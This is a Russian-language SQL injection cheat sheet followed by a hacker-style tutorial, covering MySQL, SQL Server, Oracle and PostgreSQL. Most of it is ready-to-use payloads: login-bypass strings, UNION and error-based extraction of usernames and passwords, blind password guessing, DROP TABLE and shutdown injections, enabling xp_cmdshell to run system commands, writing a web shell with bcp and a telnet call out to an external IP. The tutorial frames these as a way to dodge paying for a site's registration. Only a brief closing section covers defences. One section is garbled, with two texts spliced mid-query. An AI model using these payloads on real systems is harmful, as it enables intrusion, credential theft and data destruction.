SQL Injection от и до. Проблемы на российском рынке

Шпаргалка по SQL-инъекциям создана для сводного описания технических особенностей различных типов уязвимостей SQL-injection. В статье представлены особенности проведения SQL-инъекций в MySQL , Microsoft SQL Server , ORACLE и PostgreSQL .

0. Введение
В данной статье вы можете найти подробную техническую информацию о различных видах SQL-инъекций. Она может быть полезна как опытным специалистам, так и новичкам в области ИБ.

В настоящий момент памятка содержит информацию только для MySQL, Microsoft SQL Server и некоторые данные для ORACLE и PostgreSQL. Разделы содержат синтаксис, пояснения и примеры инъекций.

Используемые обозначения:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (возможно на других БД);
* (требуются специальные условия).

1. Строчные комментарии
Комментарии, как правило, полезны для игнорирования части запроса.
Синтаксис:
-- (SM): DROP sampletable;--
# (M): DROP sampletable;#
Пример:
Username: admin" --
Сгенерированный запрос: SELECT * FROM members WHERE username = "admin"--" AND password = "password"
Это позволит зайти в систему как пользователь admin, игнорируя проверку пароля.

2. Блочные комментарии
С их помощью можно игнорировать часть запроса, заменять пробелы, обходить чёрные списки, определять версию БД.
Синтаксис:
/*Комментарий*/ (SM):
DROP/*комментарий*/sampletable
DR/**/OP/*обходим_чёрный_список*/sampletable
SELECT/*замена_пробела*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM tablename
Это специальный синтаксис комментариев для MySQL. Он позволяет обнаружить версию MySQL. Такой комментарий сработает только в MySQL
Примеры:
ID: 10; DROP TABLE members /*
Игнорируем оставшуюся часть запроса, также как строчным комментарием.

ID: /*!32302 10*/
вы получите такой же ответ, как и при ID=10, если MySQL версии выше 3.23.02

ID: /*!32302 1/0, */
Сгенерированный запрос: SELECT /*!32302 1/0, */ 1 FROM tablename
Возникнет ошибка деления на 0, если на сервере стоит MySQL версии выше 3.23.02

3. Последовательность запросов
Позволяет выполнить более одного запроса за раз. Это полезно в любой точке инъекции.


Зелёный - поддерживается; чёрный — не поддерживается; серый — неизвестно.
Синтаксис:
; (S): SELECT * FROM members; DROP members--
Один запрос закончился, следующий начался.
Пример:
ID: 10;DROP members --
Сгенерированный запрос: SELECT * FROM products WHERE id = 10; DROP members--
Этот запрос удалит таблицу members после обычного запроса.

4. Условные операторы
Получим ответ на запрос при выполнении условия. Это один из ключевых пунктов слепой инъекции. Также помогают точно проверить простые вещи.
Синтаксис:
IF(condition, true-part, false-part) (M): SELECT IF(1=1,"true","false")
IF condition true-part ELSE false-part (S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF condition THEN true-part; ELSE false-part; END IF; END; (O): IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P): SELECT CASE WHEN (1=1) THEN "A" ELSE "B" END;
пример:
if ((select user) = "sa" OR (select user) = "dbo") select 1 else select 1/0 (S)
выдаст ошибку деления на ноль, если текущий пользователь не «sa» или «dbo».

5. Использование чисел
Используется для обхода magic_quotes() и подобных фильтров, в том числе и WAF.
Синтаксис:
0xHEX_ЧИСЛО (SM):
SELECT CHAR(0x66) (S)
SELECT 0x5045 (это не число, а строка) (M)
SELECT 0x50 + 0x45 (теперь это число) (M)
Примеры:
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Покажет содержание файла c:\boot.ini

6. Конкатенация строк
Операции над строками могут помочь обойти фильтры или определить базу данных.
Синтаксис:
+ (S): SELECT login + "-" + password FROM members
|| (*MO): SELECT login || "-" || password FROM members
Сработает, если MySQL запущен в режиме ANSI. В противном случае MySQL не примет его как логический оператор и вернёт 0. Лучше использовать функцию CONCAT() в MySQL.

CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(login, password) FROM members

7. Строки без кавычек
Есть несколько способов не использовать кавычки в запросе, например с помощью CHAR() (MS) и CONCAT() (M).
Синтаксис:
SELECT 0x457578 (M)

В MySQL есть простой способ представления строки в виде hex-кода:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Возвращает строку “KLM”:
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
SELECT CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Преобразование строк и чисел.
Синтаксис:
ASCII() (SMP): SELECT ASCII("a")
Возвращает ASCII- код самого левого символа. Функция используется для слепых инъекций.

CHAR() (SM): SELECT CHAR(64)
Переводит ASCII-код в соответствующий символ.

9. Оператор UNION
С оператором UNION можно делать запросы к пересечению таблиц. В основном, вы можете отправить запрос, возвращающий значение из другой таблицы.
Пример:
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
Это позволит объединить результаты из таблиц news и members

10. Обход проверки подлинности (SMO+)
Примеры:
admin" --
admin" #
admin"/*
" or 1=1--
" or 1=1#
" or 1=1/*
") or "1"="1--
") or ("1"="1--

11. Обход проверки подлинности с использованием MD5
Если приложение сначала сравнивает имя пользователя, а потом сравнивает md5-хеш пароля, то вам потребуются дополнительные приёмы для обхода проверки подлинности. Вы можете объединить результаты с известным паролем и его хешем.
Пример (MSP):
Username: admin
Password: 1234 " AND 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Error Based
12.1 Определение столбцов с помощью HAVING BY(S)
Пример:
В том же порядке
" HAVING 1=1 --
" GROUP BY table.columnfromerror1 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 –
…………….
Продолжайте до тех пор, пока не прекратите получать ошибки.

12.2 Определение количества столбцов с помощью ORDER BY (MSO+)
Поиск количества столбцов с помощью ORDER BY можно ускорить, используя UNION-инъекции.
ORDER BY 1--
ORDER BY 2--
ORDER BY 3-
………………..
Продолжайте, пока не получите сообщение об ошибке. Это укажет на количество столбцов.

13. Определение типа данных
Всегда используйте UNION вместе с ALL.
Чтобы избавиться от ненужной записи в таблице, используйте -1 любые не существующие значения в начале запроса (если инъекция в параметре WHERE). Это важно если вы можете извлекать только одно значение за раз.
Используйте NULL в UNION-инъекциях вместо попыток угадать строку, дату, число и прочее. Но будьте аккуратны при слепой инъекции, т.к. вы можете спутать ошибку БД и самого приложения. Некоторые языки, например ASP.NET, выдают ошибку при использовании значения NULL (т.к. разработчики не ожидали увидеть нулевое значение в поле username)
Примеры:
" union select sum(columntofind) from users-- (S) :
Если вы не получаете сообщение об ошибке, значит столбец является числовым.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
Можно использовать CAST() или CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит первый столбец является числом.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Если появилась ошибка, значит второй стоблец не является числом.

11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит второй столбец является строкой.
……………..

14. Простая вставка (MSO+)
Пример:
"; insert into users values(1, "hax0r", "coolpass", 9)/*

15. Сбор информации
Синтаксис:
@@version (MS)
Вы можете узнать версию БД и более подробную информацию.
Пример:
INSERT INTO members(id, user, pass) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Сложная вставка (S)
Позволяет вставить содержимое файла в таблицу. Если вы не знаете внутренний путь web-приложения, вы можете прочитать метабазу IIS (только IIS 6).
Синтаксис:
file(%systemroot%\system32\inetsrv\MetaBase.xml)
Затем вы можете в ней найти пути приложения.
Пример:
1. Создать таблицу foo(строка типа varchar(8000))
2. Вставить в таблицу foo содержимое файла ‘c:\inetpub\wwwroot\login.asp’
3. Удалите временную таблицу и повторите для другого файла.

17. BCP (S)
Записывает текстовый файл. Для этого требуются учётные данные.
Пример:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH в SQL Server (S)
Вы можете использовать VBS, WSH скрипты в SQL Server.
Пример:
Username:"; declare @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Выполнение системных команд (S)
Известный приём, по умолчанию функция отключена в SQL Server 2005. Вам необходимы права администратора.
Пример:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping "

20. Специальные таблицы в SQL Server (S)
Примеры:
Сообщения об ошибках: master..sysmessages
Связанные серверы: master..sysservers
Password SQL Server 2000: masters..sysxlogins
Password SQL Server 2005: sys.sql_logins

21. Несколько хранимых процедур для SQL Server (S)
Синтаксис:
Cmd Execute (xp_cmdshell)
Registry Stuff (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Managing Services (xp_servicecontrol)
Medias (xp_availablemedia)
ODBC Resources (xp_enumdsn)
Login mode (xp_loginconfig)
Creating Cab Files (xp_makecab)
Domain Enumeration (xp_ntsec_enumdomains)
Process Killing (требуется PID) (xp_terminate_process)
Add new procedure (sp_addextendedproc)
Write text file to a UNC or an internal path (sp_makewebtask)
Примеры:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver

22. MSSQL Bulk Notes
Примеры:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL-инъекция в LIMIT (M) запросах
Пример:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
Чтобы обойти оператор LIMIT, вы можете использовать UNION или комментарий.

24. Выключение SQL Server (S)
Пример:
";shutdown –

25. Enabling xp_cmdshell in SQL Server 2005
Синтаксис:
По умолчанию xp_cmdshell и пара других потенциально опасных функций отключены вSQL Server 2005. Обладая правами администратора, вы можете их включить.
EXEC sp_configure "show advanced options",1
RECONFIGURE
EXEC sp_configure "xp_cmdshell",1
RECONFIGURE

26. Поиск структуры БД в SQL Server (S)
Примеры:
SELECT name FROM sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Получение названий столбцов

27. Перемещение записей (S)
Примеры:
... WHERE users NOT IN ("First User", "Second User")
Используйте WHERE вместе с NOT IN или NOT EXIST

SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id@ret select @ret as ret into foo end
Очевидно, что злоумышленник "зайдет" с эти именем пользователя:
Username: "; begin declare @ret varchar(8000) set @ret=":" select @ret=@ret+" "+username+"/"+password from users where username>@ret select @ret as ret into foo end--
Этот запрос создаст таблицу foo, которая будет содержать единственную колонку "ret", в которой будут находиться все наши строки. Зачастую даже пользователь с низкими привелегиями имеет возможность создать таблицу в базе данных, или даже временную базу данных. Взломщик, таким образом, может выбрать все строки из этой таблицы, так же как и в предыдущем примере:
Username: " union select ret,1,1,1 from foo-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the varchar value ": admin/r00tr0x! guest/guest chris/password fred/sesame" to a column of data type int. /process_login.asp, line 35
А после заметет следы, удалив таблицу:
Username: "; drop table foo--
Вышеперечисленные примеры показывают нам всю гибкость, предлагаемую данным алгоритмом. Нет необходимости говорить, что если злоумышленнику удается вызвать ошибку при обращении к базе данных, то их работа в разы упрощается. /process_login.asp, line 35

SQL Injection достаточно хорошая возможность для хакера получить
доступ к серверу. И при небольшом усилии, он
все-таки его получает 🙂

Coder inside

В наше время работа с базами данных поддерживается
практически всеми языками программирования, к таким можно отнести BASIC, C++, Java, PERL, PHP, Assembler и даже JavaScript! А называются эти программы никак иначе как СУБД — системы управления базами данных. Зачастую базы данных применяются для решения финансовых задач,
бухгалтерии, организации кадров, но свое применение они нашли и в Интернете.

Базы данных часто используются для написания WEB-приложений. Их использование наиболее уместно для хранения пользовательских регистрационных данных, идентификаторов сессий, организации поиска, а также других задач требующих обработки большего
количества данных. Для обращения к БД используются серверные технологии: PHP, PERL, ASP, и т.д. Именно тут и начинается самое интересное. Когда на сервере
установлены все патчи, а брандмауэр блокирует все порты кроме 80-ого или когда требуется аутентификация для доступа к некоторым данным, для взлома хакер может использовать SQL Injection. Суть данной атаки заключается в использовании ошибки на стыке WEB технологий и SQL. Дело в том, что многие web страницы для обработки пользовательских данных, формируют специальный SQL запрос к БД. Неосторожное использование данной методики может привести к довольно интересным результатам…

SQL Injection

Для пояснения атаки представим себе, что ты зашел на сайт чтобы скачать одну очень важную тулзу и с ужасом замечаешь, что сделать это может только зарегистрированный пользователь, а регистрация, конечно же, стоит денег 🙂 Последние заработанные отдавать не хочется, а без программы никак! Самое время вспомнить о том как
обращаться к базам данных SQL . Например, проверка логина и пароля, на PHP может иметь следующий вид:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
else
{
// AUTHENTICATION ERROR
}

Я добавил два комментария, «AUTHENTICATION OK » — вместо него должен
идти код, который исполнится в том случае, если пароль и логин верны. Другой «AUTHENTICATION ERROR » — место где будет описан код, исполняющийся в случае их неправильности. Если заполнить форму, то запрос получится похожим на «http://www.server.com?login=user&password=31337», где www.server.com имя
сервера, к которому мы пытаемся подключиться. Мы нашли то что искали, а по сему снова вернемся к работе SQL . Итак, если вы для авторизации должны указать логин и пароль, то сформированный SQL запрос будет иметь следующий вид:

SELECT * FROM users WHERE login="user" AND
password="31337"

Это значит примерно следующее: верни мне все записи из базы данных users у которых логин «user», а пароль «31337». Если существует такая запись, значит пользователь зарегистрирован, ну а если нет, то нет… Но при определенных обстоятельствах все можно исправить. Имеется ввиду ситуация, когда приложение не проверяет содержимое передаваемых данных или проверяет не полностью, на наличие SQL инструкций. В данном примере сверяются два поля login и password, но если в качестве пароля указать «31337′ AND email=’[email protected]»(без двойных кавычек), то запрос получится уже немного другим:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email="[email protected]"

И в случае существования поля email это условие также будет проверено. Если вспомнить основы булевой алгебры, то приходит в голову что кроме операции «и» существует и «или», а поскольку их использование поддерживается SQL, можно выше
описанным способом добавить условие которое всегда возвращает истину. Для осуществления данного, необходимо в качестве логина указать «user’ OR 1=1—«, в таком случае запрос примет вид:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
password="31337"

Для начала следует знать, что «—» означает конец запроса, и все после «—»
обрабатываться не будет! Получается, словно мы сделали запрос:

SELECT * FROM users WHERE login="user" OR 1=1

Как вы видите мы добавили условие «1=1», значит критерием проверки будет «если логин ‘user’ или 1=1», но ведь 1 всегда равно 1 (исключением может быть только арифметика Дани Шеповалова:)). Чтобы проверить наши подозрения
забиваем в адресной строке «http://www.server.com?login=user or 1=1—&password=31337». Это приводит к тому, что не играет роли какой именно логин мы указали, а
тем более пароль! И мы в матри… ой, в системе и можем спокойно качать то что нам необходимо.

Но это все в теории. На практике нам неизвестно каким образом формируется запрос, какие данные передаются и в какой последовательности. Поэтому необходимо указывать «user’ OR 1=1—» для всех полей. Также следует проверить форму отправки на наличие скрытых полей. В HTML они описываются как «». Если таковые существуют, сохраните страницу и поменяйте значения данных полей. Значения содержащиеся в них часто забывают проверять на наличие SQL инструкций. Но чтобы все заработало следует в форме (тэг «FORM») для параметра «ACTION» указать полный путь к скрипту, что обрабатывает данный запрос.

Но не всегда также известно как сформирован запрос,
прошлый пример можно было сформировать и следующими способами:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=user AND password=31337

В таком случае можно попробовать следующие варианты:

‘ OR 1=1—
» OR 1=1—
OR 1=1—
‘ OR ‘a’=’a
» OR «a»=»a
‘) OR (‘a’=’a
OR ‘1’=’1′

Все зависит от предназначения скрипта, и от программиста. Поскольку каждому человеку свойственно все делать по своему, то вполне возможно, что программист выберет не самый простой вариант. Поэтому не следует сразу
сдаваться, если вы получите отказ. Необходимо
испробовать как можно большее количество вариантов…

Password detection

Обходить авторизацию неплохо, но очень часто дырка которую вы используете закрывается, и все что было для вас доступно теряется.
Этого и следовало ожидать, если программист не дурак он
со временем прикроет все лазейки. От таких ситуаций можно легко избавится заранее позаботившись об этом. Правильным решением может стать угадывание пароля посредством
анализа результатов аутентификации. Для начала пробуем угадать пароль, для этого введем место него:

‘ OR password>’a

Если нам ответят, что авторизация пройдена, значит пароль
начинается не на букву «а», а на какую-то из следующих по списку. Двигаемся дальше и подставляем
место "a", следующие «b», «c», «d», «e»… и т.д. пока нам не ответят, что пароль не правильный. Пускай этот процесс остановился на символе «x», в таком случае создаются два варианта развития ситуации, пароль найден или же пароль начитается на этот символ. Чтобы проверить первый вариант пишем место пароля:

‘ OR password=’x

и если пароль принят и тебя впустили, значит ты угадал пароль! Ну а нет, тогда следует подбирать уже второй символ,
точно так же, с начала. Для двух символов проверять
нужно так же. В конце концов, ты получишь пароль, а логин ищешь тем самым путем 🙂
В случае, если найденные пароль и логин тебя не устраивают, можешь отыскать и другие. Для этого необходимо начать проверку с последнего символа найденного пароля. Так, если пароль был «xxx» проверять необходимо существование пароля
"xxy":

‘ OR password=’xxx

чтобы не упустить не один вариант!

MS SQL Server

MS SQL Server вообще находка, если упущена необходимая фильтрация. Используя уязвимость SQL Injection можно исполнять
команды на удаленном сервере с помощью exec master..xp_cmdshell. Но чтобы использовать эту конструкцию
необходимо завершить операцию «SELECT». В SQL инструкции разделяются точкой с запятой. Поэтому подключится к некоторому IP по Telnet’у, необходимо место пароля/логина набрать:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

У MS SQL Server есть, еще несколько интересных особенностей, позволяющих узнать логины и пароли хранящиеся в базе данных. Для этого вывод об ошибках перенаправляется на произвольный сервер и посредствам их
анализа можно узнать название таблицы, полей и их типов. После чего можно запросом

‘ UNION SELECT TOP 1 login FROM users—

(login имя поля содержащего логин, а users — имя таблицы,
полуученые в процессе анализа ошибок).

Ответ может быть следующим:


Syntax error converting the nvarchar value "admin" to a column of data type int.
/default.asp, line 27

Теперь мы знаем, что есть пользователь с именем «admin». Теперь мы можем получить его пароль:

‘ UNION SELECT TOP 1 password FROM users where login=’admin’—

Результат:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "xxx" to a column of data type int.
/tedault.asp, line 27

Теперь нам известно, что есть пользователь «admin» с паролем «xxx». Этим можно смело
воспользоваться и залогинится в систему 😉

Но для работы с SQL существует еще много других функций,
при работе с базой данных можно также удалять данные, модифицировать, вставлять свои и даже манипулировать файлами и работать с реестром.
В общем, SQL Server — рулит 🙂

Защита

Но этого всего естественно можно избежать. Для этого можно
воспользоваться фильтрами,
предоставляемыми производителями. Можно найти свои решения, например заменять все одинарные
кавычки двойными (если для SQL запроса мы пользуетесь одинарными), или наоборот. Можно разрешить только использование букв и с@баки, в случае если требуется ввести
электронный адрес. А еще в перле есть удивительная
функция 🙂 quote() в модуле DBI::DBD, которая успешно делает ваш запрос безопасным по отношению к SQL . Решений много, необходимо просто ими
воспользоваться. Иначе зачем тогда все это…